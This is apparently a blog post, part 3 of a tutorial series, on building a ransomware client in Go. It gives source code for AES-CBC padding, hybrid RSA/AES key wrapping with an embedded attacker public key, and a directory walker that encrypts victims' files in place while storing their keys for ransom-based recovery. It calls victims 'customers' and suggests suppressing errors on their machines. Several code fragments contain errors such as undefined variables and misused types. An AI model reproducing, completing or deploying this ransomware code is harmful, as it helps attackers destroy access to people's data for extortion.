TACIX.AT About
The Client - Ransomware in Golang Part 3
2021/09/02 13:37

We’re ready to write the client for our malware! We have the server’s keypair and some understand of how to build this, so let’s get started.

If you haven’t seen the other posts, you can follow along from the beginning at tacix.at.

Following is a high level sketch of what our client needs to do.

// generate client keypair
// encrypt client private key with server public key
// post encrypted client private key to server (TBD)
// walk target directory
	// at each file
	// generate file key
	// read file
	// encrypt file
	// encrypt file key with client public key
	// store encrypted file key
	// write encrypted data back to file

Pretty easy! We have already learned most of these things in previous posts. The largest missing piece is encrypting the file. Since our RSA keys can barely encrypt 63 bytes of data, and files can be much larger than 63 bytes, we will need to use something else. For this we will use AES which is a symmetric encryption algorithm.

Symmetric Encryption with AES

What we will be doing is generating an AES key for each file, encrypting the file with that, then encrypting that key with the client’s public key. So let’s figure out how to use AES.

AES is a symmetric encryption algorithm, which means it uses the same key for decryption as it does for encryption. We are going to be using AES in cipher block chaining (CBC) mode. There are 5 modes and nerds patronizingly explain them to each other to show that they’ve read StackOverflow.

What do we need for AES CBC? We need a randomly generated key (secret), a randomly generated initialization vector (IV) (not secret), a plaintext to encrypt (secret), and some padding to make sure the plaintext length is a multiple of the key size. The key and IV are 16 bytes (128 bits). We’ll do no padding for this first go.

// scratch/sym.go
package main

import (
	"crypto/aes"
	"crypto/cipher"
	"crypto/rand"
	"fmt"
	"log"
)

func main() {
	// 16 byte buffer for our key
	k := make([]byte, 16)
	// fill buffer with random data
	rand.Read(k)
	fmt.Printf("k:  %x\n", k)

	// create a cipher using our key
	blk, err := aes.NewCipher(k)
	if err != nil {
		log.Fatal(err)
	}

	// ditto key but for the IV (also length 16)
	iv := make([]byte, blk.BlockSize())
	rand.Read(iv)
	fmt.Printf("iv: %x\n", iv)

	// create our CBC encryptor and decyptor
	enc := cipher.NewCBCEncrypter(blk, iv)
	dec := cipher.NewCBCDecrypter(blk, iv)

	// plaintext
	p := []byte{0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5}
	// ciphertext (same size as plaintext + padding)
	c := make([]byte, len(p))

	// encrypt!
	enc.CryptBlocks(c, p)

	fmt.Printf("p:  %x\n", p)
	fmt.Printf("c:  %x\n", c)

	// zero the plaintext to check decryption works
	for i := range p {
		p[i] = 0
	}

	// decrypt!
	dec.CryptBlocks(p, c)
	fmt.Printf("p:  %x\n", p)
}

Pretty straight forward. Now we have some fun problems. We need to pad the plaintext when len(p) % block_size != 0. The scheme for this actually also pads it when len(p) % block_size == 0 as well, but in that situation it wasn’t strictly necessary, it just makes our lives easier.

This padding scheme is from a standard called PKCS#7. It is detailed on page 21 of RFC 2315. Basically, we’re always going to add padding and we’re going to use the number of bytes as the byte value for the padding. For example, if we need 1 byte of padding, we are going to add {0x01} to the end of the plaintext. If we needed two bytes of padding we would add {0x02, 0x02} to the end of the plaintext. If we needed 0 bytes of padding (assuming block size of 16), we would still add padding, in this case, {0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10}. That’s sixteen 16s. Why add padding when we don’t need any? Well, this way lets us just check the last byte, read that many bytes off the end, verify they are all the same byte, then proceed.

We’ll make a little pad function. The modulo of the block size gives us how many bytes beyond the block size multiple we have. So we really want the difference blocksize - (len(p) % blocksize).

// scratch/pad.go
package main

import (
	"bytes"
	"fmt"
)

func pad(bs []byte, blksz int) []byte {
	// default to block size
	count := blksz
	// if we have leftover bytes
	if len(bs) % blksz != 0 {
		// difference between blocksize and leftover bytes
		count = blksz  - (len(bs) % blksz)
	}
	// create padding buffer
	padding := bytes.Repeat([]byte{byte(count)}, count)
	// append padding to plaintext
	bs = append(bs, padding...)
	// return bs
	return bs
}

func main() {
	// a quick test
	bs := []byte{0x00,0x11,0x22,0x33,0x44,0x55}
	bs = pad(bs, 16)
	fmt.Printf("%x\n", bs)
}

The Client

We’ll start out by loading our keys in an init() function. This function runs automatically at the start of the program.

// client/main.go
package main

import (
	"crypto/rand"
	"crypto/rsa"
	"crypto/x509"
	"log"
	"math/big"
)

var clientKey *rsa.PublicKey
var serverKey *rsa.PublicKey
var serverKeyBytes = []byte{
	0x30, 0x82, 0x01, 0x0a, 0x02, 0x82, 0x01, 0x01,
	0x00, 0xb4, 0x10, 0x46, 0xf7, 0x7e, 0x73, 0x72,
	0x22, 0x4a, 0xcf, 0x98, 0xc8, 0x60, 0x67, 0x6c,
	0x96, 0x0b, 0xf9, 0x42, 0x5d, 0x05, 0xbf, 0x99,
	0x96, 0xe8, 0x69, 0xed, 0x95, 0xa4, 0x95, 0xbb,
	0xd2, 0x62, 0xa5, 0x35, 0x77, 0x97, 0x19, 0xc7,
	0x09, 0x92, 0x61, 0xd9, 0x5f, 0xea, 0x3e, 0x49,
	0xf5, 0x3f, 0x6f, 0x84, 0x21, 0x94, 0xc9, 0xda,
	0xfd, 0x20, 0x62, 0xc4, 0x61, 0x7c, 0x86, 0xfc,
	0xd6, 0x1f, 0xc8, 0x35, 0x2a, 0x78, 0xd5, 0x3e,
	0xb8, 0xd3, 0x3b, 0xa7, 0x3c, 0x9e, 0x82, 0x55,
	0xe3, 0x5b, 0x5c, 0x82, 0x50, 0xa5, 0x06, 0xf4,
	0x42, 0xfe, 0x93, 0xad, 0x61, 0x80, 0xff, 0xf2,
	0x8e, 0xe3, 0x78, 0xcb, 0xec, 0x91, 0x3f, 0x40,
	0xae, 0x71, 0x1f, 0x50, 0xb3, 0x1c, 0x1e, 0xdc,
	0x99, 0xed, 0xbb, 0x33, 0xe4, 0x6c, 0xb4, 0x84,
	0x18, 0x87, 0x51, 0xc7, 0x42, 0x0e, 0xa5, 0x80,
	0x4c, 0x36, 0xd2, 0xf2, 0x52, 0x58, 0x08, 0x26,
	0x6c, 0x36, 0x4b, 0x15, 0x22, 0x91, 0xd1, 0x92,
	0xcb, 0x82, 0x0f, 0xa8, 0x3f, 0xbe, 0x57, 0x2a,
	0xd0, 0xf2, 0x51, 0xa6, 0x3c, 0x92, 0xb9, 0x00,
	0x25, 0x23, 0xf4, 0x48, 0xa4, 0x8f, 0x09, 0xb4,
	0x5f, 0x42, 0x3f, 0x7d, 0x2d, 0xf8, 0xb0, 0x61,
	0x03, 0xcc, 0x93, 0x29, 0x63, 0x6a, 0xce, 0x1c,
	0x3f, 0x19, 0x7b, 0x03, 0x13, 0xd2, 0xd9, 0x99,
	0x85, 0x55, 0x2c, 0xfa, 0x19, 0x92, 0x18, 0x8a,
	0x39, 0x57, 0x4e, 0x22, 0xa3, 0x39, 0x93, 0xaa,
	0x5b, 0xaa, 0x2f, 0x2a, 0x41, 0xcb, 0xb6, 0xbc,
	0xde, 0x29, 0xe1, 0xbf, 0x4b, 0xbb, 0xac, 0x38,
	0x00, 0x1b, 0x4f, 0xb8, 0x4f, 0x39, 0xf6, 0xb0,
	0x0d, 0x92, 0x49, 0x0b, 0x60, 0x25, 0x15, 0xd2,
	0xad, 0xfa, 0x56, 0xb1, 0x0a, 0x94, 0xfc, 0xdc,
	0x55, 0xb9, 0x52, 0xe6, 0x64, 0x93, 0x85, 0x36,
	0x23, 0x02, 0x03, 0x01, 0x00, 0x01}

func init() {
	var err error
	serverKey, err = x509.ParsePKCS1PublicKey(serverKeyBytes)
	if err != nil {
		log.Fatal(err)
	}

	clientPrv, err := rsa.GenerateKey(rand.Reader, 1024)
	if err != nil {
		log.Fatal(err)
	}

	n := big.NewInt(0)
	n.SetBytes(clientPrv.PublicKey.N.Bytes())
	clientKey = &rsa.PublicKey{
		N: n,
		E: clientPrv.PublicKey.E,
	}

	encodedPrv := x509.MarshalPKCS1PrivateKey(clientPrv)
	log.Println(encodedPrv)

	// encrypt client prv
	// write encrypted client prv to file
}

func main() {
	log.Println(clientKey)
	log.Println(serverKey)
}

With our server key loaded and client key generated, we need to now encrypt the client key and store it. This will be provided to the server for decryption.

To do this, we can use the same encryption scheme we would for other files. That is, we will generate a symmetric key for the file, encrypt the file, encrypt that symmetric key with the server’s public key, store that information. We will create a helper function zero() to clear key data from memory.

// overwrite data in memory
func zero(bs []byte) {
	for i := range bs {
		bs[i] = 0x41
	}
}

func pad(bs []byte, blksz int) []byte {
	count := blksz
	if len(bs) % blksz != 0 {
		count = blksz  - (len(bs) % blksz)
	}

	padding := bytes.Repeat([]byte{byte(count)}, count)
	bs = append(bs, padding...)
	return bs
}

func encryptHybrid(
	rsaKey *rsa.PublicKey, bs []byte) ([]byte, []byte) {
	// generate symmetric key
	k := make([]byte, 16)
	rand.Read(k)

	// make cipher
	blk, err := aes.NewCipher(k)
	if err != nil {
		log.Fatal(err)
	}

	// pad plaintext
	bs = pad(bs, blk.BlockSize())
	
	// make iv
	iv := make([]byte, blk.BlockSize())
	rand.Read(iv)

	// encrypt plaintext with symmetric key
	enc := cipher.NewCBCEncrypter(blk, iv)
	enc.CryptBlocks(bs, bs)

	// append iv to ciphertext
	enc = append(enc, iv...)

	// encrypt symmetric key with asymmetric key
	ek, err := rsa.EncryptOAEP(
		sha256.New(), rand.Reader, rsaKey, k, nil)
	if err != nil {
		log.Fatal(err)
	}

	// clear unencrypted key
	zero(k)

	return ek, bs
}

After calling encryptHybrid() we will have the ciphertext with IV, and the encrypted symmetric key that use used to encrypt the ciphertext. The encrypted symmetric key is encrypted with the provided RSA public key. We can now extend our init() function to use this. Also introduced is a function rmifex() which will remove a file if it exists.

We’ll store the encrypted client private key in a file master.key. This file will be posted to the server because, despite what ransomware victims who end up paying believe, backups are important.

func init() {
	var err error
	serverKey, err = x509.ParsePKCS1PublicKey(serverKeyBytes)
	if err != nil {
		log.Fatal(err)
	}

	clientPrv, err := rsa.GenerateKey(rand.Reader, 1024)
	if err != nil {
		log.Fatal(err)
	}

	n := big.NewInt(0)
	n.SetBytes(clientPrv.PublicKey.N.Bytes())
	clientKey = &rsa.PublicKey{
		N: n,
		E: clientPrv.PublicKey.E,
	}

	encodedPrv := x509.MarshalPKCS1PrivateKey(clientPrv)
	log.Println(encodedPrv)

	encyptedPrv, encSymKey := encryptHybrid(serverKey, encodedPrv)

	// write encrypted client prv to file
	rmifex("master.key")
	err = ioutil.WriteFile("master.key", encryptedPrv, 0444)
	if err != nil {
		log.Fatal(err)
	}

	// store encrytped symmetric key 

	zero(encodedPrv)
}

func rmifex(path string) {
	_, err := os.Stat(path)
	if err == nil {
		err := os.Remove(path)
		if err != nil {
			log.Fatal(err)
		}
	}
}

Now we need to store all the symmetric keys used for encrypting files somewhere. Rather than storing this with each file, we are going to store them in one convenient location. This is going to be a JSON file, keys.json, containing a list of objects. The objects will have the path of the file, and the corresponding symmetric key for that file. The symmetric keys will all be encrypted with the client’s public key, with the one exception of the first entry. That entry will be for master.key which is encrypted with the server’s public key.

To decrypt everything we will send the first entry and master.key to the server. The server will decrypt the symmetric key, then use that to decrypt the client’s private key stored in master.key. The client’s private key can then be packaged in a decryptor to decrypt the remaining entries in keys.json. Once those entries are decrypted, the symmetric keys can be applied to the original files.

type EncryptionInfo struct {
	Path string `json:"path"`
	Key  []byte `json:"key"`
}

type EncryptionInfos []EncryptionInfo

var eis EncryptionInfos

With that, we can finalize our init() function. We remove keys.json if it exists. We store the one encryption info structure for master.key in our slice, and then we zero out the client’s private key in memory.

func init() {
	var err error
	serverKey, err = x509.ParsePKCS1PublicKey(serverKeyBytes)
	if err != nil {
		log.Fatal(err)
	}

	clientPrv, err := rsa.GenerateKey(rand.Reader, 1024)
	if err != nil {
		log.Fatal(err)
	}

	n := big.NewInt(0)
	n.SetBytes(clientPrv.PublicKey.N.Bytes())
	clientKey = &rsa.PublicKey{
		N: n,
		E: clientPrv.PublicKey.E,
	}

	encodedPrv := x509.MarshalPKCS1PrivateKey(clientPrv)
	log.Println(encodedPrv)

	encryptedPrv, encSymKey := encryptHybrid(serverKey, encodedPrv)

	rmifex("master.key")
	err = ioutil.WriteFile("master.key", encryptedPrv, 0444)
	if err != nil {
		log.Fatal(err)
	}

	rmifex("keys.json")
	eis = append(eis, EncryptionInfo{
		Path: "master.key",
		Key: encSymKey,
	})

	zero(encodedPrv)
	clientPrv.D.SetInt64(0)
	for i := range clientPrv.Primes {
		clientPrv.Primes[i].SetInt64(0)
	}
}

This is the bulk of our ransomware! We just need to tie it into main and a walker function, both of which we know how to do. Our main function will start walking. I’m going to use a hardcoded path so I don’t stomp something on my host. After our program has taken an belligerent stroll through the filesystem, we’ll marshal our encryption info slice eis to JSON then write that to a file.

func main() {
	err := filepath.Walk(
		"C:\\Users\\tacixat\\prog\\ransomware\\victim", walker)
	if err != nil {
		log.Fatal("Error walking:", err)
		return
	}

	data, err := json.Marshal(eis)
	if err != nil {
		log.Fatal(err)
	}

	err = ioutil.WriteFile("file.keys", data, 0444)
	if err != nil {
		log.Fatal(err)
	}
}

Our walker here is also very straightforward. If we come in with an error, we’ll print and return it. Returning the error will stop the walker entirely, which we will use for debugging. However, on a customer’s machine we would want to return nil to keep the dream alive. After that, we will return nil if it is a directory. Then we read the file, encrypt it, store the key, then write it back to disk.

func walker(path string, info os.FileInfo, err error) error {
	if err != nil {
		log.Println("Error on:", path)
		return err
	}

	if info.IsDir() {
		log.Println(path, "(d)")
		return nil
	}

	log.Println(path, "(f)")

	pbs, err := ioutil.ReadFile(path)
	if err != nil {
		log.Fatal(err)
	}

	cbs, k = encryptHybrid(clientKey, bs)

	err = ioutil.WriteFile(path, cbs, 0666)
	if err != nil {
		log.Fatal(err)
	}

	eis = append(eis, EncryptionInfo{
		Path: path,
		Key: k,
	})

	return nil
}

With that we have the core functionality of a ransomware client in less than 350 lines of code. Pretty wild.